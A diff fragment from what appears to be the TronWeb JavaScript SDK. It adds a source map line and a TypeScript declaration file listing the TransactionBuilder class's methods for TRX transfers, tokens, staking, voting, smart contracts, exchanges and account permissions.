+ {"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":";;;;AAAA,wEAAqC;AAC5B,gBADF,kBAAK,CACE;AAEd,+CAAyC;AAChC,0FADA,wBAAS,OACA;AAElB,uDAAqD;AAC5C,0FADA,oBAAS,OACA;AAElB,0FAAoF;AAC3E,mGADA,0CAAkB,OACA;AAE3B,yCAAmC;AAC1B,oFADA,YAAG,OACA;AAEZ,sDAAmD;AAC1C,yFADA,mBAAQ,OACA;AAEjB,6CAAuC;AAC9B,sFADA,gBAAK,OACA;AAEd,+CAAyC;AAChC,uFADA,kBAAM,OACA;AAEf,6CAAuC;AAC9B,wFADA,oBAAO,OACA;AAEhB,gEAA0C;AACjC,sBAAK;AAEd,kBAAe;IACX,KAAK,EAAL,kBAAK;IACL,SAAS,EAAT,wBAAS;IACT,SAAS,EAAT,oBAAS;IACT,kBAAkB,EAAlB,0CAAkB;IAClB,GAAG,EAAH,YAAG;IACH,QAAQ,EAAR,mBAAQ;IACR,KAAK,EAAL,gBAAK;IACL,MAAM,EAAN,kBAAM;IACN,OAAO,EAAP,oBAAO;IACP,KAAK;CACR,CAAC"}
@@ -0,0 +1,127 @@
1
+ import { TronWeb } from '../../tronweb.js';
2
+ import { CreateSmartContractTransaction, SignedTransaction, Transaction, TransactionWrapper } from '../../types/Transaction.js';
3
+ import { AccountCreateContract, AccountPermissionUpdateContract, AccountUpdateContract, AssetIssueContract, CancelFreezeBalanceV2Contract, ClearABIContract, ContractParamter, DelegateResourceContract, ExchangeCreateContract, ExchangeInjectContract, ExchangeTransactionContract, ExchangeWithdrawContract, FreezeBalanceContract, FreezeBalanceV2Contract, ParticipateAssetIssueContract, Permission, ProposalCreateContract, ProposalDeleteContract, SetAccountIdContract, TransferAssetContract, TransferContract, TriggerSmartContract, UnDelegateResourceContract, UnfreezeBalanceContract, UnfreezeBalanceV2Contract, UpdateAssetContract, UpdateBrokerageContract, UpdateEnergyLimitContract, UpdateSettingContract, VoteProposalContract, VoteWitnessContract, WithdrawBalanceContract, WithdrawExpireUnfreezeContract, WitnessCreateContract } from '../../types/Contract.js';
4
+ import { AlterTransactionOptions, CreateSmartContractOptions, CreateTokenOptions, DeployConstantContractOptions, TriggerConstantContractOptions, TransactionCommonOptions, Resource, ContractFunctionParameter, TriggerSmartContractOptions, TxLocal, UpdateTokenOptions, VoteInfo } from '../../types/TransactionBuilder.js';
5
+ interface IArgs extends TriggerSmartContract {
6
+ function_selector?: string;
7
+ parameter?: string;
8
+ fee_limit?: number;
9
+ Permission_id?: number;
10
+ }
11
+ export declare class TransactionBuilder {
12
+ private tronWeb;
13
+ private validator;
14
+ constructor(tronWeb?: TronWeb);
15
+ sendTrx(to: string, amount?: number, from?: string, options?: TransactionCommonOptions): Promise<Transaction<TransferContract>>;
16
+ sendToken(to: string, amount: number | undefined, tokenId: string, from?: string, options?: TransactionCommonOptions): Promise<Transaction<TransferAssetContract>>;
17
+ purchaseToken(issuerAddress: string, tokenId: string, amount?: number, buyer?: string, options?: TransactionCommonOptions): Promise<Transaction<ParticipateAssetIssueContract>>;
18
+ freezeBalance(amount?: number, duration?: number, resource?: Resource, ownerAddress?: string, receiverAddress?: string, options?: TransactionCommonOptions): Promise<Transaction<FreezeBalanceContract>>;
19
+ unfreezeBalance(resource?: Resource, address?: string, receiverAddress?: string, options?: TransactionCommonOptions): Promise<Transaction<UnfreezeBalanceContract>>;
20
+ freezeBalanceV2(amount?: number, resource?: Resource, address?: string, options?: TransactionCommonOptions): Promise<Transaction<FreezeBalanceV2Contract>>;
21
+ unfreezeBalanceV2(amount?: number, resource?: Resource, address?: string, options?: TransactionCommonOptions): Promise<Transaction<UnfreezeBalanceV2Contract>>;
22
+ cancelUnfreezeBalanceV2(address?: string, options?: TransactionCommonOptions): Promise<Transaction<CancelFreezeBalanceV2Contract>>;
23
+ delegateResource(amount: number | undefined, receiverAddress: string, resource?: Resource, address?: string, lock?: boolean, lockPeriod?: number, options?: TransactionCommonOptions): Promise<Transaction<DelegateResourceContract>>;
24
+ undelegateResource(amount: number | undefined, receiverAddress: string, resource?: Resource, address?: string, options?: TransactionCommonOptions): Promise<Transaction<UnDelegateResourceContract>>;
25
+ withdrawExpireUnfreeze(address?: string, options?: TransactionCommonOptions): Promise<Transaction<WithdrawExpireUnfreezeContract>>;
26
+ withdrawBlockRewards(address?: string, options?: TransactionCommonOptions): Promise<Transaction<WithdrawBalanceContract>>;
27
+ applyForSR(address?: string, url?: string, options?: TransactionCommonOptions): Promise<Transaction<WitnessCreateContract>>;
28
+ vote(votes?: VoteInfo, voterAddress?: string, options?: TransactionCommonOptions): Promise<Transaction<VoteWitnessContract>>;
29
+ createSmartContract(options?: CreateSmartContractOptions, issuerAddress?: string): Promise<CreateSmartContractTransaction>;
30
+ triggerSmartContract(contractAddress: string, functionSelector: string, options?: TriggerSmartContractOptions, parameters?: ContractFunctionParameter[], issuerAddress?: string): Promise<TransactionWrapper>;
31
+ triggerConstantContract(contractAddress: string, functionSelector: string, options?: TriggerConstantContractOptions, parameters?: ContractFunctionParameter[], issuerAddress?: string): Promise<TransactionWrapper>;
32
+ triggerConfirmedConstantContract(contractAddress: string, functionSelector: string, options?: TriggerConstantContractOptions, parameters?: ContractFunctionParameter[], issuerAddress?: string): Promise<TransactionWrapper>;
33
+ estimateEnergy(contractAddress: string, functionSelector: string, options?: TriggerConstantContractOptions, parameters?: ContractFunctionParameter[], issuerAddress?: string): Promise<{
34
+ result: {
35
+ result: boolean;
36
+ };
37
+ energy_required: number;
38
+ }>;
39
+ deployConstantContract(options?: DeployConstantContractOptions): Promise<{
40
+ result: {
41
+ result: boolean;
42
+ };
43
+ energy_required: number;
44
+ }>;
45
+ _getTriggerSmartContractArgs(contractAddress: string, functionSelector: string, options: TriggerConstantContractOptions, parameters: ContractFunctionParameter[], issuerAddress: string, tokenValue?: number, tokenId?: string, callValue?: number, feeLimit?: number): IArgs;
46
+ _triggerSmartContractLocal(contractAddress: string, functionSelector: string, options?: TriggerConstantContractOptions, parameters?: ContractFunctionParameter[], issuerAddress?: string): Promise<{
47
+ result: {
48
+ result: boolean;
49
+ };
50
+ transaction: Transaction<TriggerSmartContract>;
51
+ }>;
52
+ _triggerSmartContract(contractAddress: string, functionSelector: string, options?: TriggerConstantContractOptions, parameters?: ContractFunctionParameter[], issuerAddress?: string): Promise<TransactionWrapper>;
53
+ clearABI(contractAddress: string, ownerAddress?: string, options?: TransactionCommonOptions): Promise<Transaction<ClearABIContract>>;
54
+ updateBrokerage(brokerage: number, ownerAddress?: string, options?: TransactionCommonOptions): Promise<Transaction<UpdateBrokerageContract>>;
55
+ createToken(options?: CreateTokenOptions, issuerAddress?: string): Promise<Transaction<AssetIssueContract>>;
56
+ createAccount(accountAddress: string, address?: string, options?: TransactionCommonOptions): Promise<Transaction<AccountCreateContract>>;
57
+ updateAccount(accountName: string, address?: string, options?: TransactionCommonOptions): Promise<Transaction<AccountUpdateContract>>;
58
+ setAccountId(accountId: string, address?: string, options?: TransactionCommonOptions): Promise<Transaction<SetAccountIdContract>>;
59
+ updateToken(options?: UpdateTokenOptions, issuerAddress?: string): Promise<Transaction<UpdateAssetContract>>;
60
+ sendAsset(to: string, amount: number | undefined, tokenId: string, from?: string, options?: TransactionCommonOptions): Promise<Transaction<TransferAssetContract>>;
61
+ purchaseAsset(issuerAddress: string, tokenId: string, amount?: number, buyer?: string, options?: TransactionCommonOptions): Promise<Transaction<ParticipateAssetIssueContract>>;
62
+ createAsset(options: CreateTokenOptions, issuerAddress: string): Promise<Transaction<AssetIssueContract>>;
63
+ updateAsset(options?: UpdateTokenOptions, issuerAddress?: string): Promise<Transaction<UpdateAssetContract>>;
64
+ /**
65
+ * Creates a proposal to modify the network.
66
+ * Can only be created by a current Super Representative.
67
+ */
68
+ createProposal(parameters: Record<string, string | number> | Record<string, string | number>[], issuerAddress?: string, options?: TransactionCommonOptions): Promise<Transaction<ProposalCreateContract>>;
69
+ /**
70
+ * Deletes a network modification proposal that the owner issued.
71
+ * Only current Super Representative can vote on a proposal.
72
+ */
73
+ deleteProposal(proposalID: number, issuerAddress?: string, options?: TransactionCommonOptions): Promise<Transaction<ProposalDeleteContract>>;
74
+ /**
75
+ * Adds a vote to an issued network modification proposal.
76
+ * Only current Super Representative can vote on a proposal.
77
+ */
78
+ voteProposal(proposalID: number, isApproval?: boolean, voterAddress?: string, options?: TransactionCommonOptions): Promise<Transaction<VoteProposalContract>>;
79
+ /**
80
+ * Create an exchange between a token and TRX.
81
+ * Token Name should be a CASE SENSITIVE string.
82
+ * PLEASE VERIFY THIS ON TRONSCAN.
83
+ */
84
+ createTRXExchange(tokenName: string, tokenBalance: number, trxBalance: number, ownerAddress?: string, options?: TransactionCommonOptions): Promise<Transaction<ExchangeCreateContract>>;
85
+ /**
86
+ * Create an exchange between a token and another token.
87
+ * DO NOT USE THIS FOR TRX.
88
+ * Token Names should be a CASE SENSITIVE string.
89
+ * PLEASE VERIFY THIS ON TRONSCAN.
90
+ */
91
+ createTokenExchange(firstTokenName: string, firstTokenBalance: number, secondTokenName: string, secondTokenBalance: number, ownerAddress?: string, options?: TransactionCommonOptions): Promise<Transaction<ExchangeCreateContract>>;
92
+ /**
93
+ * Adds tokens into a bancor style exchange.
94
+ * Will add both tokens at market rate.
95
+ * Use "_" for the constant value for TRX.
96
+ */
97
+ injectExchangeTokens(exchangeID: number, tokenName: string, tokenAmount: number, ownerAddress?: string, options?: TransactionCommonOptions): Promise<Transaction<ExchangeInjectContract>>;
98
+ /**
99
+ * Withdraws tokens from a bancor style exchange.
100
+ * Will withdraw at market rate both tokens.
101
+ * Use "_" for the constant value for TRX.
102
+ */
103
+ withdrawExchangeTokens(exchangeID: number, tokenName: string, tokenAmount: number, ownerAddress?: string, options?: TransactionCommonOptions): Promise<Transaction<ExchangeWithdrawContract>>;
104
+ /**
105
+ * Trade tokens on a bancor style exchange.
106
+ * Expected value is a validation and used to cap the total amt of token 2 spent.
107
+ * Use "_" for the constant value for TRX.
108
+ */
109
+ tradeExchangeTokens(exchangeID: number, tokenName: string, tokenAmountSold: number, tokenAmountExpected: number, ownerAddress?: string, options?: TransactionCommonOptions): Promise<Transaction<ExchangeTransactionContract>>;
110
+ /**
111
+ * Update userFeePercentage.
112
+ */
113
+ updateSetting(contractAddress: string, userFeePercentage: number, ownerAddress?: string, options?: TransactionCommonOptions): Promise<Transaction<UpdateSettingContract>>;
114
+ /**
115
+ * Update energy limit.
116
+ */
117
+ updateEnergyLimit(contractAddress: string, originEnergyLimit?: number, ownerAddress?: string, options?: TransactionCommonOptions): Promise<Transaction<UpdateEnergyLimitContract>>;
118
+ private checkPermissions;
119
+ updateAccountPermissions(ownerAddress: string | undefined, ownerPermission: Permission, witnessPermission?: Permission, activesPermissions?: Permission | Permission[], options?: TransactionCommonOptions): Promise<Transaction<AccountPermissionUpdateContract>>;
120
+ newTxID<T extends ContractParamter, U extends (SignedTransaction<T> | Transaction<T>)>(transaction: U, options?: {
121
+ txLocal?: boolean;
122
+ }): Promise<U>;
123
+ alterTransaction(transaction: Transaction, options?: AlterTransactionOptions): Promise<Transaction<ContractParamter>>;
124
+ extendExpiration(transaction: Transaction, extension: number, options?: TxLocal): Promise<Transaction<ContractParamter>>;
125
+ addUpdateData(transaction: Transaction, data: string, dataFormat?: 'utf8' | 'hex', options?: TxLocal): Promise<Transaction<ContractParamter>>;
126
+ }
127
+ export {};